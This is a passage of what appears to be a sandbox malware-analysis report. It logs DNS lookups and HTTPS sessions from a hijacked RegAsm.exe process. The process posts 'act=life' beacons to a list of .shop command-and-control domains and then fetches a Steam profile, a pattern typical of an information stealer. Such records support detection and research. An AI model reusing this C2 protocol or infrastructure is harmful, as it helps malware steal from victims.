Sep 26, 2024 09:58:44.817997932 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:44.818289042 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:44.818325043 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.467680931 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.467847109 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:45.477921963 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:45.477952003 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.478240967 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.479790926 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:45.527405024 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.976089954 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.976114988 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.976129055 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.976247072 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:45.976284027 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:45.976342916 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.076517105 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.076546907 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.076710939 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.076739073 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.076785088 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.081887960 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.081955910 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.081973076 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.082001925 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.082017899 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.082046032 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.082133055 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.082146883 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.082159042 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:46.082165956 CEST	443	49719	104.102.49.254	192.168.2.6
Sep 26, 2024 09:58:46.098612070 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.098674059 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:46.098813057 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.099143028 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.099160910 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:46.588026047 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:46.588193893 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.590251923 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.590266943 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:46.590517998 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:46.591792107 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.591792107 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:46.591871023 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:47.045320034 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:47.045413017 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:47.045497894 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:47.045881033 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:47.045881033 CEST	49720	443	192.168.2.6	172.67.189.2
Sep 26, 2024 09:58:47.045907974 CEST	443	49720	172.67.189.2	192.168.2.6
Sep 26, 2024 09:58:47.045918941 CEST	443	49720	172.67.189.2	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:58:36.812587023 CEST	52018	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:36.821825981 CEST	53	52018	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:36.830746889 CEST	59886	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:36.844813108 CEST	53	59886	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:37.948460102 CEST	62281	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:37.962512016 CEST	53	62281	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:38.871155977 CEST	63504	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:38.886204958 CEST	53	63504	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:39.967673063 CEST	50739	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:39.981395960 CEST	53	50739	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:40.957084894 CEST	58108	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:40.978657961 CEST	53	58108	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:41.924937010 CEST	65346	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:41.938756943 CEST	53	65346	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:42.902228117 CEST	65127	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:42.916310072 CEST	53	65127	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:43.845719099 CEST	55477	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:43.857887030 CEST	53	55477	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:44.810002089 CEST	56248	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:44.817159891 CEST	53	56248	1.1.1.1	192.168.2.6
Sep 26, 2024 09:58:46.085145950 CEST	49442	53	192.168.2.6	1.1.1.1
Sep 26, 2024 09:58:46.097533941 CEST	53	49442	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 09:58:36.812587023 CEST	192.168.2.6	1.1.1.1	0xc6c0	Standard query (0)	lootebarrkeyn.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:36.830746889 CEST	192.168.2.6	1.1.1.1	0x2a90	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:37.948460102 CEST	192.168.2.6	1.1.1.1	0x3b7d	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:38.871155977 CEST	192.168.2.6	1.1.1.1	0x2fd0	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:39.967673063 CEST	192.168.2.6	1.1.1.1	0x55d0	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:40.957084894 CEST	192.168.2.6	1.1.1.1	0xf439	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:41.924937010 CEST	192.168.2.6	1.1.1.1	0x473a	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:42.902228117 CEST	192.168.2.6	1.1.1.1	0x8492	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:43.845719099 CEST	192.168.2.6	1.1.1.1	0xa923	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:44.810002089 CEST	192.168.2.6	1.1.1.1	0x3a8e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:46.085145950 CEST	192.168.2.6	1.1.1.1	0x98c7	Standard query (0)	performenj.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 09:58:36.821825981 CEST	1.1.1.1	192.168.2.6	0xc6c0	Name error (3)	lootebarrkeyn.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:36.844813108 CEST	1.1.1.1	192.168.2.6	0x2a90	No error (0)	gutterydhowi.shop		104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:36.844813108 CEST	1.1.1.1	192.168.2.6	0x2a90	No error (0)	gutterydhowi.shop		172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:37.962512016 CEST	1.1.1.1	192.168.2.6	0x3b7d	No error (0)	ghostreedmnu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:37.962512016 CEST	1.1.1.1	192.168.2.6	0x3b7d	No error (0)	ghostreedmnu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:38.886204958 CEST	1.1.1.1	192.168.2.6	0x2fd0	No error (0)	offensivedzvju.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:38.886204958 CEST	1.1.1.1	192.168.2.6	0x2fd0	No error (0)	offensivedzvju.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:39.981395960 CEST	1.1.1.1	192.168.2.6	0x55d0	No error (0)	vozmeatillu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:39.981395960 CEST	1.1.1.1	192.168.2.6	0x55d0	No error (0)	vozmeatillu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:40.978657961 CEST	1.1.1.1	192.168.2.6	0xf439	No error (0)	drawzhotdog.shop		172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:40.978657961 CEST	1.1.1.1	192.168.2.6	0xf439	No error (0)	drawzhotdog.shop		104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:41.938756943 CEST	1.1.1.1	192.168.2.6	0x473a	No error (0)	fragnantbui.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:41.938756943 CEST	1.1.1.1	192.168.2.6	0x473a	No error (0)	fragnantbui.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:42.916310072 CEST	1.1.1.1	192.168.2.6	0x8492	No error (0)	stogeneratmns.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:42.916310072 CEST	1.1.1.1	192.168.2.6	0x8492	No error (0)	stogeneratmns.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:43.857887030 CEST	1.1.1.1	192.168.2.6	0xa923	No error (0)	reinforcenh.shop		172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:43.857887030 CEST	1.1.1.1	192.168.2.6	0xa923	No error (0)	reinforcenh.shop		104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:44.817159891 CEST	1.1.1.1	192.168.2.6	0x3a8e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:46.097533941 CEST	1.1.1.1	192.168.2.6	0x98c7	No error (0)	performenj.shop		172.67.189.2	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:46.097533941 CEST	1.1.1.1	192.168.2.6	0x98c7	No error (0)	performenj.shop		104.21.51.224	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:58:51.973336935 CEST	1.1.1.1	192.168.2.6	0x995d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 09:58:51.973336935 CEST	1.1.1.1	192.168.2.6	0x995d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gutterydhowi.shop

ghostreedmnu.shop

offensivedzvju.shop

vozmeatillu.shop

drawzhotdog.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

steamcommunity.com

performenj.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	104.21.4.136	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:37 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-26 07:58:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:37 UTC	782	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kvdt1uv3qgmesvk5at9pd9o5hs; expires=Mon, 20 Jan 2025 01:45:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQoWPa0q%2FobEWf%2BwDYA3cL4yniS3e5B9dLVue1JUTmYT%2BpV34JgV%2FiDXAzbGDGAv5Pb4xEaxv42CnvHwH0uXJhnx8ByDWda9cxKQoTnnp%2F4yvDbEJ9shmObksqoEDPfwj%2FG%2BFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5bcbce40cb4-EWR
2024-09-26 07:58:37 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	188.114.97.3	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:38 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 07:58:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:38 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6bs0cnhi9hld6m77tqj7r9f0oa; expires=Mon, 20 Jan 2025 01:45:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yu0mEfZYCvmz%2FTLHEDoBAQ%2BZaBVHZL9LgNJZ1kit29n9HuOxRJLV878rxeyZgZ4s79SHkscLeL%2FvJvOvv2S1BnlvT9wr6gU0Ro3D8VjgjNEJ%2BbxCgrRwKrcV4sAkFvT%2FR7phuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5c299d50f99-EWR
2024-09-26 07:58:38 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	188.114.96.3	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-26 07:58:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:39 UTC	764	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kqe6t1nd2b2cc3biafcu1qbeti; expires=Mon, 20 Jan 2025 01:45:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bngkqg7o2IBD3mDlSbK2nvRb04Hpu6Tc8AQbjKGv0O9CRjDWCYHPz2tova2wa7O23wCWyBBlCCfzi7p8dbqF1rbY4bAglwUFUKozVwCnZOVmifGRszVgmpsYZFzNQMuqMxem1cks"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5c96b2480e2-EWR
2024-09-26 07:58:39 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	188.114.96.3	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:40 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-26 07:58:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:40 UTC	794	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q41mipf7srthnitfvbc09v0jhk; expires=Mon, 20 Jan 2025 01:45:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YCAqN8UVAzkNXF2c8j0i3Hz%2BqKsCSU84BpZvhxv5R18t5%2BIgJ0CpojhxwTXPWcM42dBAfUVzqZcJ4MMGXxX4E98VrwfKOIG7YL4J8jgAya0CfVnb3NkPlCfgPCjG5c8GdXlF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5cf29e5434f-EWR alt-svc: h3=":443"; ma=86400
2024-09-26 07:58:40 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49715	172.67.162.108	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-26 07:58:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:41 UTC	766	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vej52j2undbc1fpl7j02mtdsjk; expires=Mon, 20 Jan 2025 01:45:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YCEsBOEd1RZuqLcqI5VfRFMZoOdrO%2BVVBVJs3uaZqyP3Fk0ZjcRVum25jzZtUdoekTIwd4EvUhPre%2FcHozhnMstYr6eYfwvoXKTHCUy7%2BpUeB6Mv8QiIrPAbxgj0HPaLo7Zh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5d58deb41bb-EWR
2024-09-26 07:58:41 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49716	188.114.96.3	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-26 07:58:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:42 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=op4hv8vat0mafiv84epb3ruc9l; expires=Mon, 20 Jan 2025 01:45:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ux24cVqNkqK%2BxBAjvTikk%2BIRtdetUQQbZmQ9ygadknZ0G45Boih5X3vUFuHIVZzJo6ZIcek1lSzlT6%2B4GfZhmBdDPIuaxuh4vzH%2BpUuQI9ybIsFzaflwdE7PS3hSC5fR3WQB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5dbad75c420-EWR
2024-09-26 07:58:42 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49717	188.114.96.3	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-26 07:58:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:43 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uuddpsq26rp1cnuo3lhg7uvmuc; expires=Mon, 20 Jan 2025 01:45:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q31jCLB5UTDGqzmhYPzgtdKxNLaVv1pur5OUIHrXfzRrIR1j7WY7EGjpOI%2FmQtBL8ouhKzW4CtvlfPjdLD1bbz78ilDXyw%2FQORgPtp6K%2B0GktioIPnLZW5UXW7whpexcLMFVJVQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5e1ae5e15af-EWR
2024-09-26 07:58:43 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49718	172.67.208.139	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:44 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-26 07:58:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:58:44 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=delcjp55k36p7kkhtb8risq4oh; expires=Mon, 20 Jan 2025 01:45:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nbQBCp7wAtYUVqjkV1Kbbyzu3J7LI%2BumyK%2FGX01GJPsPXhnzuqWybQS5n7xSjlZmEV8KYpeebFodGg%2FPCmJ4w3fkGjC4zOEwUN%2FZ%2B7v4MotcKAgkhue8eS6gXIZzJxAXIYpl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91b5e78c3e41bd-EWR
2024-09-26 07:58:44 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:58:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49719	104.102.49.254	443	5396	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:58:45 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
